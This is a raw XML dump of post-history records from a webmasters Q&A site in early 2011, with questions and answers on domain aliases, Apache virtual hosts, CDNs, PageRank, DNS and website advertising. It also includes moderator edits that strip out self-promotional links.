  <row Id="17355" PostHistoryTypeId="2" PostId="8099" RevisionGUID="df71b2bb-b84a-4fbe-8634-0f24dd58fc47" CreationDate="2010-10-23T07:59:18.617" UserDisplayName="Avishai" Text="It's just another way to get to the same physical folder. Say you have domain1.com and domain2.com, and your web hosts stores these in `/home/yourname/domain1.com`, creating domain2.com as an alias would serve what's in `/home/yourname/domain1.com` when someone types domain2.com in the browser." />
  <row Id="17356" PostHistoryTypeId="2" PostId="8100" RevisionGUID="6af98f86-b3e2-4b2b-87e5-9ee7911ac2dd" CreationDate="2010-10-23T08:56:43.143" UserDisplayName="Barry" Text="Domain  Aliases are domains that are associated with your primary domain.  Examples of usage are:&#xD;&#xA;&#xD;&#xA; - You have registered `ahmed.com` you may want to set up a Domain Alias for `ahmed.co.uk` so that any requests for the `.co.uk` site are automatically transferred to `.com`&#xD;&#xA; - They are also useful to redirect users in the event of them misspelling.  So you could create a Domain Alias for `ahemed.com` to redirect user to `ahmed.com`&#xD;&#xA; - The last common usage is for email domains.  If you have two email domains, `ahemed.com` and `myotheremail.com` you could alias `myotheremail.com` so that all email will be delivered to `ahmed.com`&#xD;&#xA;&#xD;&#xA;A live example would be if you entered `www.microsft.com` in to your browser - this will redirect you to `http://www.microsoft.com/en/us/default.aspx`&#xD;&#xA;&#xD;&#xA;Hope this helps" />
  <row Id="17357" PostHistoryTypeId="2" PostId="8098" RevisionGUID="4d6b319b-60bb-4bb9-bb8e-5d4a74facbb2" CreationDate="2010-10-23T06:08:30.877" UserDisplayName="Ahmed" Text="I notice that many hosting providers provide a feature named &quot;Alias Domain&quot;.  &#xD;&#xA;What it is? and how can it benefit me?" />
  <row Id="17358" PostHistoryTypeId="1" PostId="8098" RevisionGUID="4d6b319b-60bb-4bb9-bb8e-5d4a74facbb2" CreationDate="2010-10-23T06:08:30.877" UserDisplayName="Ahmed" Text="What is Alias Domain?" />
  <row Id="17359" PostHistoryTypeId="3" PostId="8098" RevisionGUID="4d6b319b-60bb-4bb9-bb8e-5d4a74facbb2" CreationDate="2010-10-23T06:08:30.877" UserDisplayName="Ahmed" Text="&lt;web-hosting&gt;&lt;domains&gt;" />
  <row Id="17360" PostHistoryTypeId="17" PostId="8098" RevisionGUID="78e10da6-ca78-4e53-9a07-deec5d71e5c8" CreationDate="2011-01-22T22:54:24.330" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/8508/what-is-alias-domain" Text="" />
  <row Id="17361" PostHistoryTypeId="25" PostId="8096" RevisionGUID="87abd49b-e42f-44f3-bb58-1e0277ce988c" CreationDate="2011-01-22T22:55:45.927" Comment="http://twitter.com/#!/StackWebmasters/status/28948965147807744" />
  <row Id="17367" PostHistoryTypeId="2" PostId="8102" RevisionGUID="43e96be2-9970-4dc5-a785-76ef9605b5b6" CreationDate="2011-01-23T00:31:01.210" UserId="4819" Text="I used the method described in [this article][1] to get my footer down.&#xD;&#xA;&#xD;&#xA;Worked beautifully, except it floats ~3 pixels above the bottom of the page: http://nclabs.org/screenshots/1295742373.png&#xD;&#xA;&#xD;&#xA;How can I fix that?&#xD;&#xA;&#xD;&#xA;Full HTML: http://nclabs.org/index.php  &#xD;&#xA;Full CSS: http://nclabs.org/includes/layout-global.css  &#xD;&#xA;IE-only CS: http://nclabs.org/includes/ie.css  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://matthewjamestaylor.com/blog/keeping-footers-at-the-bottom-of-the-page" />
  <row Id="17368" PostHistoryTypeId="1" PostId="8102" RevisionGUID="43e96be2-9970-4dc5-a785-76ef9605b5b6" CreationDate="2011-01-23T00:31:01.210" UserId="4819" Text="Problem with getting footer down" />
  <row Id="17369" PostHistoryTypeId="3" PostId="8102" RevisionGUID="43e96be2-9970-4dc5-a785-76ef9605b5b6" CreationDate="2011-01-23T00:31:01.210" UserId="4819" Text="&lt;html&gt;&lt;css&gt;&lt;bugs&gt;" />
  <row Id="17370" PostHistoryTypeId="10" PostId="8102" RevisionGUID="bc0e1e0e-1807-4884-a9fa-1620de632240" CreationDate="2011-01-23T00:46:42.283" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17371" PostHistoryTypeId="2" PostId="8103" RevisionGUID="057fda63-aee5-49a3-85e6-311d8eceffbf" CreationDate="2011-01-23T00:55:36.487" UserId="1757" Text="Domain mirroring is a feature that pretty much all web hosts have. It's just not a very useful feature and really isn't even worth mentioning. You'd rarely need or want 2 domains to mirror each other. It's far better for SEO purposes and for usability to just redirect one domain to another to prevent having duplicate content.&#xD;&#xA;&#xD;&#xA;I wouldn't base your hosting decision on this feature. Focus on more useful features like SSH/shell access, SFTP, server-side scripting languages (e.g. PHP, Ruby, Python, etc.), crontab access, RDBMS (e.g. MySQL, PostgreSQL, etc.), cpanel access, and large storage/bandwidth quotas. Also make sure there aren't any arbitrary limits or fees on mundane features like email accounts/ftp accounts/subdomains/etc" />
  <row Id="17372" PostHistoryTypeId="25" PostId="8102" RevisionGUID="c05d39d4-bd77-4e4f-a6fb-8aa99d94ce90" CreationDate="2011-01-23T01:55:46.473" Comment="http://twitter.com/#!/StackWebmasters/status/28994265069649920" />
  <row Id="17373" PostHistoryTypeId="25" PostId="8092" RevisionGUID="65b7e355-e7c3-4c3c-a547-a9759595d1ed" CreationDate="2011-01-23T04:55:46.740" Comment="http://twitter.com/#!/StackWebmasters/status/29039565788413952" />
  <row Id="17374" PostHistoryTypeId="2" PostId="8104" RevisionGUID="78c09cf3-e135-463e-b2b3-5235e3a9497a" CreationDate="2011-01-23T05:36:17.727" UserDisplayName="user4810" Text="So I am playing around with Photoshop and Dreamweaver. I have created a site layout, and have used the slice function on it. Next, I saved as html &amp; images.&#xD;&#xA;&#xD;&#xA;In Dreamweaver, I open such html file and I fill the page with content, links, etc.&#xD;&#xA;&#xD;&#xA;I have a website and everything, and I would like to use my newly created html page on it. But, obviously, if I copy &amp; paste the html to my website it won't work because it will lack the images. But two things: I can't find the images, and apparently they are a lot.&#xD;&#xA;&#xD;&#xA;I am sure I am doing a great mistake regarding the images. Can someone help me?" />
  <row Id="17375" PostHistoryTypeId="1" PostId="8104" RevisionGUID="78c09cf3-e135-463e-b2b3-5235e3a9497a" CreationDate="2011-01-23T05:36:17.727" UserDisplayName="user4810" Text="Photoshop, slice, Dreamweaver, web?" />
  <row Id="17376" PostHistoryTypeId="3" PostId="8104" RevisionGUID="78c09cf3-e135-463e-b2b3-5235e3a9497a" CreationDate="2011-01-23T05:36:17.727" UserDisplayName="user4810" Text="&lt;photoshop&gt;" />
  <row Id="17377" PostHistoryTypeId="2" PostId="8105" RevisionGUID="74012771-8a1f-4b3d-a165-0362af37efc9" CreationDate="2011-01-23T05:58:35.700" UserId="1022" Text="If you don't have multiple machines for testing, you can probably get away with installing an alternate browser you don't have.  [Netscape Navigator][1] still exists, along with a [pile of others][2].&#xD;&#xA;&#xD;&#xA;Also, consider setting your PC up to dual-boot Ubuntu (assuming you're using Windows, since it's Silverlight) if it's not already.  It isn't too tricky as long as you can spare the disk space and keep a just-in-case backup nearby. It's worth the effort for anyone involved in web dev.&#xD;&#xA;&#xD;&#xA;For realistic testing though, invest in multiple machines or lure/hire some friends in to help out. It's not cheap to keep up with every OS upgrade &amp; new super-phone out there, but it's definitely nice to not ever have to guess.&#xD;&#xA;&#xD;&#xA;  [1]: http://browser.netscape.com/releases&#xD;&#xA;  [2]: http://browsers.evolt.org/&#xD;&#xA;" />
  <row Id="17378" PostHistoryTypeId="2" PostId="8106" RevisionGUID="a23d88f2-68a6-4a0a-b174-fab7c2b9a2d0" CreationDate="2011-01-23T06:10:58.743" UserId="1022" Text="It might work for some browsers and not for others, but it's also possible that Sharepoint is rejecting it outright.  I'd recommend sticking to any of the standard web formats: JPEG, GIF, and sometimes PNG.&#xD;&#xA;&#xD;&#xA;TIFFs are uncompressed, so they're really large and as such not very web-friendly. They're handy as a backup format though, should you ever need to make changes to the site later.&#xD;&#xA;" />
  <row Id="17379" PostHistoryTypeId="2" PostId="8107" RevisionGUID="ba5bee72-a1be-481f-a21e-08229cf3fc45" CreationDate="2011-01-23T06:31:32.773" UserId="1022" Text="Your version of Helvetica either doesn't have the bullet character and is defaulting to the funny rectangle, or it just has a bad idea of what a bullet point should look like. You'll see it a lot with &quot;freeware&quot; fonts, but I wouldn't imagine Helvetica to skip characters unless it's a knock-off version.&#xD;&#xA;&#xD;&#xA;If you're on Windows, run charmap (start-&gt;run-&gt;type &quot;charmap&quot;) and compare MS' Arial to your Helvetica, since it has the full character set. I think it's either U+25CF (●) or U+2022 (•), way down in the Unicode set past all the umlauts and squiggles.&#xD;&#xA;&#xD;&#xA;The only practical way around that is to use a different font.&#xD;&#xA;" />
  <row Id="17380" PostHistoryTypeId="25" PostId="8095" RevisionGUID="145806ea-547b-4ab6-afbb-bfc45609b3d4" CreationDate="2011-01-23T07:55:46.907" Comment="http://twitter.com/#!/StackWebmasters/status/29084865127251968" />
  <row Id="17381" PostHistoryTypeId="2" PostId="8108" RevisionGUID="25f6cb51-440c-4c94-aeeb-aa7cecfe448b" CreationDate="2011-01-23T07:57:21.987" UserId="1757" Text="Who's servers are ns1.myserver.com and ns2.myserver.com? Are they name servers you're running or are they the name servers of your web host which is different from name.com?&#xD;&#xA;&#xD;&#xA;Whoever's name servers you're using, you have to go through them to change your DNS records." />
  <row Id="17382" PostHistoryTypeId="2" PostId="8109" RevisionGUID="8ffb853c-7a7f-48fd-b20e-db2aaf9e48e3" CreationDate="2011-01-23T09:49:15.263" UserDisplayName="Bartosz" Text="Most of live support systems have similar&#xD;&#xA;capabilities as for the customization. However, when it comes to business intelligence rules, such as triggers that invite your visitors to chat when something wrong happens, LiveChat (www.livechatinc.com) is definitely the best choice.&#xD;&#xA;&#xD;&#xA;LiveChat has built-in triggers that will invite the customers to chat whenever you want, for example when error on page occurs or he comes from Google looking for &quot;banana&quot; keyword ;-). You can also measure the conversion of each rule separately.&#xD;&#xA;&#xD;&#xA;Check it out: http://www.livechatinc.com&#xD;&#xA;&#xD;&#xA;Regards  " />
  <row Id="17383" PostHistoryTypeId="2" PostId="8110" RevisionGUID="98715cd0-b286-4ca8-9ea8-2205569541c7" CreationDate="2011-01-23T10:14:34.407" UserId="2545" Text="I found that Google decreased PR of my site and wonder why. &#xD;&#xA;&#xD;&#xA;Except recent submit of my programs to download sites and change of Google Analytics to asynchronous code there were no other changes to the site I can think of." />
  <row Id="17384" PostHistoryTypeId="1" PostId="8110" RevisionGUID="98715cd0-b286-4ca8-9ea8-2205569541c7" CreationDate="2011-01-23T10:14:34.407" UserId="2545" Text="Why Google may decrease PR of a site?" />
  <row Id="17385" PostHistoryTypeId="3" PostId="8110" RevisionGUID="98715cd0-b286-4ca8-9ea8-2205569541c7" CreationDate="2011-01-23T10:14:34.407" UserId="2545" Text="&lt;google-analytics&gt;&lt;pagerank&gt;" />
  <row Id="17386" PostHistoryTypeId="25" PostId="8110" RevisionGUID="69e856dc-c333-4719-978b-00b6067da123" CreationDate="2011-01-23T10:55:46.877" Comment="http://twitter.com/#!/StackWebmasters/status/29130163719507968" />
  <row Id="17387" PostHistoryTypeId="2" PostId="8111" RevisionGUID="0a58efc4-c7c8-4256-bde6-91e6af65861c" CreationDate="2011-01-23T12:23:33.307" UserDisplayName="user4825" Text="I'll make it more simple:&#xD;&#xA;&#xD;&#xA;Right now I am posting this question, after a minute or two... may be it will appear on google search query: &quot;stackexchange more efficient way sitemap&quot; as a google indexed page.&#xD;&#xA;My question is: is this done ONLY BY changes performed in sitemap.xml of STACKEXCHANGE.COM, or there is something else, and other more efficient ways to reindex pages of big dynamic sites so fast and accurate?" />
  <row Id="17388" PostHistoryTypeId="1" PostId="8111" RevisionGUID="0a58efc4-c7c8-4256-bde6-91e6af65861c" CreationDate="2011-01-23T12:23:33.307" UserDisplayName="user4825" Text="Is there a way that is more efficient than sitemap to add/force recrawl/remove your website's index entries in google?" />
  <row Id="17389" PostHistoryTypeId="3" PostId="8111" RevisionGUID="0a58efc4-c7c8-4256-bde6-91e6af65861c" CreationDate="2011-01-23T12:23:33.307" UserDisplayName="user4825" Text="&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="17390" PostHistoryTypeId="25" PostId="8111" RevisionGUID="347855a4-e226-43d7-81a7-2489d138dd68" CreationDate="2011-01-23T13:55:46.783" Comment="http://twitter.com/#!/StackWebmasters/status/29175461795860480" />
  <row Id="17391" PostHistoryTypeId="2" PostId="8112" RevisionGUID="09fa0c8f-e7ba-4371-99ea-5c31e1d8b6d3" CreationDate="2011-01-23T14:06:34.620" UserId="1036" Text="It seems like using CDN is a best option to provide users a great browsing experience. But, plans of the major CDN providers seem costly. So, I would like to get used to the CDN thing before I subscribe to any paid plans. Please let me know if there is an 100% free CDN services." />
  <row Id="17392" PostHistoryTypeId="1" PostId="8112" RevisionGUID="09fa0c8f-e7ba-4371-99ea-5c31e1d8b6d3" CreationDate="2011-01-23T14:06:34.620" UserId="1036" Text="What's the best FREE CDN service available?" />
  <row Id="17393" PostHistoryTypeId="3" PostId="8112" RevisionGUID="09fa0c8f-e7ba-4371-99ea-5c31e1d8b6d3" CreationDate="2011-01-23T14:06:34.620" UserId="1036" Text="&lt;performance&gt;&lt;free&gt;&lt;cdn&gt;" />
  <row Id="17394" PostHistoryTypeId="2" PostId="8113" RevisionGUID="e1f9fa40-a7c0-44ad-ac2f-b3c4c012949b" CreationDate="2011-01-23T14:47:56.603" UserId="4827" Text="You did look in the folder where the HTML file is for a folder called &quot;images,&quot; right?&#xD;&#xA;&#xD;&#xA;When you save from Photoshop for web, it created a folder somewhere on your hard drive and put the HTML and images there. The images are in a folder helpfully called &quot;images.&quot; It could be in your Documents folder, or the folder where you saved the original PSD, or your desktop.&#xD;&#xA;&#xD;&#xA;If you can't locate that:&#xD;&#xA;&#xD;&#xA; - One quick-and-dirty way to find it is&#xD;&#xA;   to open up the PSD file, select Save&#xD;&#xA;   for Web, click Save, and then look to&#xD;&#xA;   see where Photoshop wants to save the&#xD;&#xA;   file. That's a likely spot for your&#xD;&#xA;   image files to be.&#xD;&#xA; - You could also just do a Search for&#xD;&#xA;   the name of the file on your hard&#xD;&#xA;   drive.&#xD;&#xA; - Failing that, create a new folder,&#xD;&#xA;   pay attention to where you put it&#xD;&#xA;   this time, open up your PSD, save all&#xD;&#xA;   your slices again TO THE NEW FOLDER, move the HTML file&#xD;&#xA;   to the new folder, and relink&#xD;&#xA;   everything. Copy that to your&#xD;&#xA;   website." />
  <row Id="17395" PostHistoryTypeId="17" PostId="8115" RevisionGUID="c4fd9f4c-20e7-4314-8d4f-a108c8daca38" CreationDate="2011-01-23T14:48:14.797" UserId="-1" Comment="from http://stackoverflow.com/questions/4767101/how-to-configure-virtual-host-to-consider-domain-path-in-apache/4767340#4767340" Text="" />
  <row Id="17396" PostHistoryTypeId="2" PostId="8115" RevisionGUID="def92282-6c85-4959-94f8-3ea49f8bc15f" CreationDate="2011-01-22T10:36:55.643" UserDisplayName="noodl" Text="I'm sorry to say I can't answer your question directly but I am fascinated by it. I've been doing Apache support on various fora for 6 years and this is the first time I've seen a ServerPath question. What made you consider it?&#xD;&#xA;&#xD;&#xA;It's such an old and disused feature that I suspect even ServerPath forgot ServerPath existed." />
  <row Id="17397" PostHistoryTypeId="2" PostId="8114" RevisionGUID="1fc961be-dc84-4534-8b57-ac50a15a8062" CreationDate="2011-01-22T09:25:44.923" UserDisplayName="Scholle" Text="the following virtual host definition is working for an arbitrary url starting with &quot;http://1.2.3.4:80/*&quot;&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;         ServerName www.domain.com&#xD;&#xA;         DocumentRoot /home/user/www/application/current/public&#xD;&#xA;         &lt;Directory /home/user/www/application/current/public&gt;&#xD;&#xA;             Order allow,deny&#xD;&#xA;             Allow from all&#xD;&#xA;         &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;How to rewrite this configuration so that it is applied only for url's starting with &quot;http://1.2.3.4:80/user/*&quot;&#xD;&#xA;&#xD;&#xA;I tried &quot;ServerPath /user&quot;, but it doesn't work...&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" />
  <row Id="17398" PostHistoryTypeId="1" PostId="8114" RevisionGUID="1fc961be-dc84-4534-8b57-ac50a15a8062" CreationDate="2011-01-22T09:25:44.923" UserDisplayName="Scholle" Text="How to configure virtual host to consider domain path in Apache " />
  <row Id="17399" PostHistoryTypeId="3" PostId="8114" RevisionGUID="1fc961be-dc84-4534-8b57-ac50a15a8062" CreationDate="2011-01-22T09:25:44.923" UserDisplayName="Scholle" Text="&lt;apache&gt;&lt;virtualhost&gt;&lt;httpd.conf&gt;" />
  <row Id="17400" PostHistoryTypeId="17" PostId="8114" RevisionGUID="5a4348a9-2feb-4363-b6e0-a0048c3b67b4" CreationDate="2011-01-23T14:48:14.797" UserId="-1" Comment="from http://stackoverflow.com/questions/4767101/how-to-configure-virtual-host-to-consider-domain-path-in-apache" Text="" />
  <row Id="17401" PostHistoryTypeId="2" PostId="8116" RevisionGUID="d003fce7-dd9a-4078-b470-21b33fe05071" CreationDate="2011-01-23T14:52:57.303" UserId="4828" Text="you have to add MX records on the same DNS server where your domain name is handled&#xD;&#xA;&#xD;&#xA;In case you are using a hosted domain, Google is providing instructions for the most common ones here: http://www.google.com/support/a/bin/answer.py?answer=140034" />
  <row Id="17402" PostHistoryTypeId="2" PostId="8117" RevisionGUID="c484b424-3df2-42b5-b68e-7163f9e1f55e" CreationDate="2011-01-23T15:22:14.693" UserId="1253" Text="1) You lose incoming links&#xD;&#xA;&#xD;&#xA;2) The incoming links you have lost PR themselves and thus &quot;pass&quot; less PR to you&#xD;&#xA;&#xD;&#xA;3) Google's index increases. Since PR is relative as the index increases every page's PR goes down.&#xD;&#xA;&#xD;&#xA;FYI, website's don't have PR. Pages do. So your home page's PR went down, not your site's." />
  <row Id="17403" PostHistoryTypeId="2" PostId="8118" RevisionGUID="04f10866-5094-4df5-a3d6-5b01f4e110ca" CreationDate="2011-01-23T15:22:15.690" UserId="1757" Text="Unfortunately, `ServerPath` is a legacy directive that is used to support HTTP/1.0 clients which don't support the `Host:` header. Therefore, an alternative is to have the primary vhost [serve up a page with links using URL prefixes that Apache can use for routing][1].&#xD;&#xA;&#xD;&#xA;For this legacy support mechanism to work, you need to disregard the `Host` header completely (since the browsers you need to support would not send one). So you can't use `ServerName` and `ServerPath` simultaneously.&#xD;&#xA;&#xD;&#xA;I'd just use `mod_rewrite` to do what you want.&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/1.3/vhosts/examples.html#serverpath" />
  <row Id="17404" PostHistoryTypeId="10" PostId="8111" RevisionGUID="ef28d241-750f-4fbb-b6c2-5ccef284576d" CreationDate="2011-01-23T15:25:20.947" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17405" PostHistoryTypeId="5" PostId="8111" RevisionGUID="85582513-af7f-46f3-b5bb-982347f1926f" CreationDate="2011-01-23T15:25:21.040" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [StackOverflow and Google search](http://webmasters.stackexchange.com/questions/7299/stackoverflow-and-google-search)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'll make it more simple:&#xD;&#xA;&#xD;&#xA;Right now I am posting this question, after a minute or two... may be it will appear on google search query: &quot;stackexchange more efficient way sitemap&quot; as a google indexed page.&#xD;&#xA;My question is: is this done ONLY BY changes performed in sitemap.xml of STACKEXCHANGE.COM, or there is something else, and other more efficient ways to reindex pages of big dynamic sites so fast and accurate?" />
  <row Id="17406" PostHistoryTypeId="2" PostId="8119" RevisionGUID="59104774-9a7f-4fc9-8caa-866f8622f3af" CreationDate="2011-01-23T15:35:34.100" UserDisplayName="user4829" Text="You can also check this website http://www.mioot.com offering lot of features with webased opertaor console along with .net windows application." />
  <row Id="17407" PostHistoryTypeId="5" PostId="8084" RevisionGUID="21f39d5a-6aac-48ef-9cfd-6ad28c8fa85d" CreationDate="2011-01-23T16:41:20.297" UserId="1253" Comment="Removed self promotional link" Text="Cloud computing is a general term for anything that involves delivering hosted services over the Internet. These services are broadly divided into three categories: Infrastructure-as-a-Service (IaaS), Platform-as-a-Service (PaaS) and Software-as-a-Service (SaaS). The name cloud computing was inspired by the cloud symbol that's often used to represent the Internet in flow charts and diagrams.&#xD;&#xA;" />
  <row Id="17409" PostHistoryTypeId="5" PostId="8083" RevisionGUID="b9d272a5-de31-4324-94fa-b29e1696edca" CreationDate="2011-01-23T16:41:46.273" UserId="1253" Comment="Removed self promotional link" Text="Yes, you should be using Amazon AWS something similar." />
  <row Id="17410" PostHistoryTypeId="5" PostId="8080" RevisionGUID="863739bb-42e3-4275-bb21-c68176e4d6e4" CreationDate="2011-01-23T16:42:05.167" UserId="1253" Comment="Removed self promotional link" Text="Let's say you're an executive at a large corporation. Your particular responsibilities include making sure that all of your employees have the right hardware and software they need to do their jobs. Buying computers for everyone isn't enough -- you also have to purchase software or software licenses to give employees the tools they require. Whenever you have a new hire, you have to buy more software or make sure your current software license allows another user. It's so stressful that you find it difficult to go to sleep on your huge pile of money every night.&#xD;&#xA;&#xD;&#xA;Soon, there may be an alternative for executives like you. Instead of installing a suite of software for each computer, you'd only have to load one application. That application would allow workers to log into a Web-based service which hosts all the programs the user would need for his or her job. Remote machines owned by another company would run everything from e-mail to word processing to complex data analysis programs. It's called cloud computing.&#xD;&#xA;" />
  <row Id="17411" PostHistoryTypeId="5" PostId="8078" RevisionGUID="72d129b3-7233-4c2e-a8b9-618dd9b522e5" CreationDate="2011-01-23T16:42:33.157" UserId="1253" Comment="Removed self promotional link" Text="A cloud service has three distinct characteristics that differentiate it from traditional hosting. It is sold on demand, typically by the minute or the hour; it is elastic -- a user can have as much or as little of a service as they want at any given time; and the service is fully managed by the provider (the consumer needs nothing but a personal computer and Internet access). Significant innovations in virtualization and distributed computing, as well as improved access to high-speed Internet and a weak economy, have accelerated interest in cloud computing. &#xD;&#xA;" />
  <row Id="17412" PostHistoryTypeId="25" PostId="8112" RevisionGUID="b68eba7f-270d-41c5-9eed-36aba25d5a46" CreationDate="2011-01-23T16:55:46.870" Comment="http://twitter.com/#!/StackWebmasters/status/29220760107098112" />
  <row Id="17413" PostHistoryTypeId="2" PostId="8120" RevisionGUID="34aa064e-c32d-46e0-a434-79d5c128f547" CreationDate="2011-01-23T17:37:51.670" UserId="4831" Text="Let's consider an abstract situation:&#xD;&#xA;&#xD;&#xA;We develop a commercial plugin for Joomla that does something. For example it turns all normal links into SEO links (I know it's trivial but it's just an example). Now we want to reach people. We add our software webpage to the most obvious places like Google Ads, software directory websites, etc.. However the first thing that comes to mind is to actually let Joomla users and SEO folks know about this software. And then comes the problem: all such places (Joomla forum, various big SEO forums) prohibit advertisement. &#xD;&#xA;&#xD;&#xA;What is the way to deal with that? It's quite natural that I want to let Joomla users know about software that might help them but at the same I can't break rules. I can think of tricks like creating topics that would pretend to not have ads (e.g. &quot;did anyone use this plugin, is it good?&quot;) but I don't want to go that path very much." />
  <row Id="17414" PostHistoryTypeId="1" PostId="8120" RevisionGUID="34aa064e-c32d-46e0-a434-79d5c128f547" CreationDate="2011-01-23T17:37:51.670" UserId="4831" Text="How to promote a site that sells specific software if all places where potential buyers hang prohibit advertisement?" />
  <row Id="17415" PostHistoryTypeId="3" PostId="8120" RevisionGUID="34aa064e-c32d-46e0-a434-79d5c128f547" CreationDate="2011-01-23T17:37:51.670" UserId="4831" Text="&lt;advertising&gt;&lt;website-promotion&gt;" />
  <row Id="17416" PostHistoryTypeId="2" PostId="8121" RevisionGUID="d2961bb4-48a5-4dee-b108-4143dbf7a2f5" CreationDate="2011-01-23T18:04:51.400" UserId="2200" Text="I have a website that I would like to advertise directly to advertisers (without using adsense, doubleclick, etc..).  How do I find out a ballpark figure of what I should ask for in terms of CPC or CPM?  Are there any published reports or averages I can refer to?  Any advice in setting/negotiating a starting point for price?" />
  <row Id="17417" PostHistoryTypeId="1" PostId="8121" RevisionGUID="d2961bb4-48a5-4dee-b108-4143dbf7a2f5" CreationDate="2011-01-23T18:04:51.400" UserId="2200" Text="How do I set a price for advertising on my website?" />
  <row Id="17418" PostHistoryTypeId="3" PostId="8121" RevisionGUID="d2961bb4-48a5-4dee-b108-4143dbf7a2f5" CreationDate="2011-01-23T18:04:51.400" UserId="2200" Text="&lt;advertising&gt;" />
  <row Id="17419" PostHistoryTypeId="2" PostId="8122" RevisionGUID="172c1167-7009-4eb6-8b46-3793d04361fa" CreationDate="2011-01-23T18:05:41.930" UserId="1792" Text="I have a **[Sex Education &amp; Sexual Health][1]** website. As evident, I can not place Google Adsense and Adbrite advertisements as they disallow mature content and even remotely anything related to it.&#xD;&#xA;&#xD;&#xA;Now, I want to know what are the other options I have for showing up ads. **I do NOT want to place very obscene and nude ads.** But, I would like to have some kind of ads on website to make it sustainable. So, what options do I have ? Which adult advertisement publisher gives highest payouts ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.getsexgyan.com/" />
  <row Id="17420" PostHistoryTypeId="1" PostId="8122" RevisionGUID="172c1167-7009-4eb6-8b46-3793d04361fa" CreationDate="2011-01-23T18:05:41.930" UserId="1792" Text="Which Adult Ads Service is best / highest paying" />
  <row Id="17421" PostHistoryTypeId="3" PostId="8122" RevisionGUID="172c1167-7009-4eb6-8b46-3793d04361fa" CreationDate="2011-01-23T18:05:41.930" UserId="1792" Text="&lt;advertising&gt;&lt;google-adsense&gt;&lt;ads&gt;&lt;adult-content&gt;" />
  <row Id="17422" PostHistoryTypeId="2" PostId="8123" RevisionGUID="64304068-8068-44d0-8b36-53826b047dc5" CreationDate="2011-01-23T18:52:42.993" UserId="4778" Text="This is a follow up question on the following question&#xD;&#xA;[What's the best way to version CSS and JS URLs][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/5075/whats-the-best-way-to-version-css-and-js-urls&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Both of the solutions mentioned there would require modification to the files where the css and js file URLs are mentioned. So in effect it would require a restart of the application server after making the changes.&#xD;&#xA;&#xD;&#xA;Is there a better way, where versioning of static files can be handled without having to restart the Application server ?&#xD;&#xA;&#xD;&#xA;the following is ruled out in the solution&#xD;&#xA;&#xD;&#xA; - changing the css and js filenames&#xD;&#xA; - passing a query paremeter in the url&#xD;&#xA; - the solution also should not affect setting cache-control or expires.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="17423" PostHistoryTypeId="1" PostId="8123" RevisionGUID="64304068-8068-44d0-8b36-53826b047dc5" CreationDate="2011-01-23T18:52:42.993" UserId="4778" Text="What's the best way to version CSS and JS URLs - part 2" />
  <row Id="17424" PostHistoryTypeId="3" PostId="8123" RevisionGUID="64304068-8068-44d0-8b36-53826b047dc5" CreationDate="2011-01-23T18:52:42.993" UserId="4778" Text="&lt;web-development&gt;&lt;cache-control&gt;&lt;static-content&gt;" />
  <row Id="17425" PostHistoryTypeId="2" PostId="8124" RevisionGUID="863e52ec-b1b5-4385-a097-e6120c209c36" CreationDate="2011-01-23T19:09:00.377" UserId="4311" Text="Google's Apache module mod_pagespeed will automatically add a hash of the file to the path, to prevent old versions from the cache being used." />
  <row Id="17426" PostHistoryTypeId="2" PostId="8125" RevisionGUID="a0a29718-f315-4018-8dfb-6862de96d27d" CreationDate="2011-01-23T19:49:41.980" UserId="108" Text="It sounds like what you are talking about is free advertisement.  The whole reason that forums prohibit advertisement directly in the forum is that they have no control of what ad is posted where and if users know that the ad is actually an ad. &#xD;&#xA;&#xD;&#xA;If forums allowed people to post ads directly as questions and answers it would quickly corrode the value of the forum and the forum would die.&#xD;&#xA;&#xD;&#xA;You really have 2 solutions:&#xD;&#xA;&#xD;&#xA; 1. Create a blog or site in conjunction with your commercial tool that explains how to use it and the value it creates in details.  When you find questions on forums that can be solved by your commercial tool answer but make sure that your answer does not come across as an ad.  The best way to do this is to give several solutions and just mention yours as one of them.  This is adding value to the community and can get people to your commercial site.  When you do this you usually want to make a not at the bottom of your answer that you do work for or are affiliated with one of the solutions. The solution is time intensive and does not guarantee results.&#xD;&#xA; 2. Pay for you ads.  For instance I am sure if you contacted the people that make Joomla you could get your commercial tool onto this page, http://extensions.joomla.org/ by paying for it.  Just like the stack exchange site allows relevant advertisements to be posted for a fee.  You could also see who the biggest Joomla bloggers are out there and see what fee they charge to make a blog post about your product." />
  <row Id="17427" PostHistoryTypeId="25" PostId="8123" RevisionGUID="17bb0c92-5f56-4376-98dd-63cf0debad54" CreationDate="2011-01-23T19:55:46.903" Comment="http://twitter.com/#!/StackWebmasters/status/29266058749681664" />
  <row Id="17428" PostHistoryTypeId="2" PostId="8126" RevisionGUID="68008087-f29e-437a-9f64-3878ef9e9258" CreationDate="2011-01-23T19:58:58.500" UserId="108" Text="Your best solution is probably http://www.coralcdn.org or using [Google's App Engine][1].  &#xD;&#xA;&#xD;&#xA;It also depends on how much content you think will be downloaded from your site.  I know Amazon Cloud Front isn't free but it does only cost $.15 per GB per month in the US.  See pricing here, http://aws.amazon.com/cloudfront/#pricing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.placona.co.uk/159/general-techie-stuff/speed-up-yor-website-part-2-the-free-cdn/" />
